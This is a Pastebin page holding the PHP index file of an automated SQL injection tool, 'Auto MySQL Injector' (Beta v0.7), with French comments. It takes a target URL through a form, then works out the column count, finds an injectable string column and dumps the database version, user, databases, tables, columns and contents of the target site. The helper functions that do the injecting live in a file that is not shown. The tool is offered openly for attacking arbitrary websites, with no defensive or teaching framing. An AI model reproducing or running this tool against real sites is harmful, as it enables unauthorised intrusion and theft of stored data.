Advertisement
Kyfx

index.php | Auto MySQL Injector

Jun 20th, 2015
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.08 KB | None | 0 0
  1. <?php
  2. ##############################
  3. # Injecteur de requettes SQL #
  4. # Coder par Hypnoze57 #
  5. ##############################
  6. session_start();
  7. set_time_limit(0);
  8. require_once('fonctions.php');
  9. $version = 'Beta v0.7';
  10. echo '<title>Injecteur SQL Automatisé</title><link rel="stylesheet" media="screen" type="text/css" title="Design" href="style.css" />';
  11. echo '<b><u>Injecteur SQL automatisé version '.$version.'</u></b><br /><br />';
  12. if (isset($_GET['url']) OR (isset($_GET['db']))) {
  13. if(!empty($_GET['url'])) {
  14. if(preg_match('#http://#', $_GET['url'])) {
  15. $url = htmlentities(urldecode($_GET['url']));
  16. $url_dep = htmlentities(urldecode($_GET['url']));
  17. $nb_col = nb_col($url);
  18. echo 'Nombre de columns : <font color="red">'.$nb_col.'</font><br />';
  19. $url = str_replace('=', '=-', $url);
  20. $url = injection($url, $nb_col);
  21. $str_col = string_col($url, $nb_col);
  22. echo 'String column valide : <font color="red">'.$str_col.'</font><br />';
  23. find_vers_user($url, $str_col);
  24. echo '<u>Bases de données : </u><br /><br />';
  25. find_db($url, $str_col, $url_dep);
  26. find_tbl($url, $str_col, $url_dep);
  27. find_col($url, $str_col, $url_dep);
  28. find_content($url, $str_col, $url_dep);
  29. echo '<br />';
  30. } else {
  31. echo 'URL Incorrecte ...<br />
  32. <a href="index.php">Retour à l\'index</a><br />';
  33. }
  34. } else {
  35. echo 'Entrer un lien a injecter ...';
  36. }
  37. } else {
  38. echo '<form action="" method="get">
  39. URL : <input type="text" name="url" size="50" placeholder="http://site.com/page.php?id=1" value=""><br />
  40. <input type="submit" value="Inject">
  41. </form>';
  42. }
  43. echo '<br />Coded by Hypnoze57';
  44. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement